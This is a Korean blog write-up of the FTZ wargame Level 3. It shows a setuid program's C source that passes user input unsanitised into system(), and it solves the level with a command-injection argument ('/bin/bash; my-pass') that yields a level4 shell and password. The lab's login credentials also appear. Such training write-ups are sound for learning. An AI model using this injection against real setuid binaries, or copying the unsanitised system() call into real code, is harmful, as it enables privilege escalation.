본문 바로가기
Security/Pwnable

FTZ Level 3

by J0DEV 2021. 8. 6.
반응형

FTZ에 Level3로 접속합니다.

ID = level3
PW = can you fly?

 

홈 디렉토리에 힌트를 보면

 

다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");
    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?

 

라고 나타납니다.

이것을 잘 살펴보면

전달받은 인자가 2개가 아닐 경우 프로그램을 종료하고
2개일 경우 전달받은 첫번째 인자를 cmd배열에
"dig@입력한 인자"를 복사하고 그 뒤에 argv[1]을 이어 붙인다.
그리고 cmd에 version.bind chaos txt를 이어 붙인다.
그리고 cmd 배열의 내용을 실행 시킨다."

라는 내용입니다.

 

여기서 생각할 수 있는거는

autodig라는 파일이 level4권한으로 있을 거고 이것을 실행할 때,

두가지 인자를 주어 level4의 쉐을 따내면 된다는 겁니다.

 

우선 힌트를 보면 동시에 여러 명령어를 사용하는 방법은 "세미콜론 - ;" 을 붙이는 방법이 있습니다.

그리고 문자열 형태로 명령어를 전달할려먼 "큰따움표 - "" "가 있습니다.

 

자 그럼 문제는 대충 해결 된거 같습니다.

한번에 2가지 명령어니 level4의 쉘을 실행시키는 동시에 패스워드를 물어보면 되겠군요.

우선 level4 suid의 파일을 찾습니다.

 

역시 생각데로 autodig파일입니다.

 

이것을 실행시키면서 문자열 형태의 두개의 명령어를 삽입시켜 줍니다.

/bin/autodig "/bin/bash; my-pass"

autodig를 실행시키면서 문자열 형태로 두개의 명령어를 입력시켜 주는것이지요

그럼 이 입력된 두개의 명령어는 cmd 배열에 입력되어 프로그램상에서 실행됩니다.

그 결과 level4의 패스워드를 출력해줍니다.

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

FTZ Level 5  (0) 2021.08.06
FTZ Level 4  (0) 2021.08.06
FTZ Level 2  (0) 2021.08.06
FTZ Level 1  (0) 2021.08.06
FTZ Trainer 정리 (리눅스 기초 명령어)  (0) 2021.08.06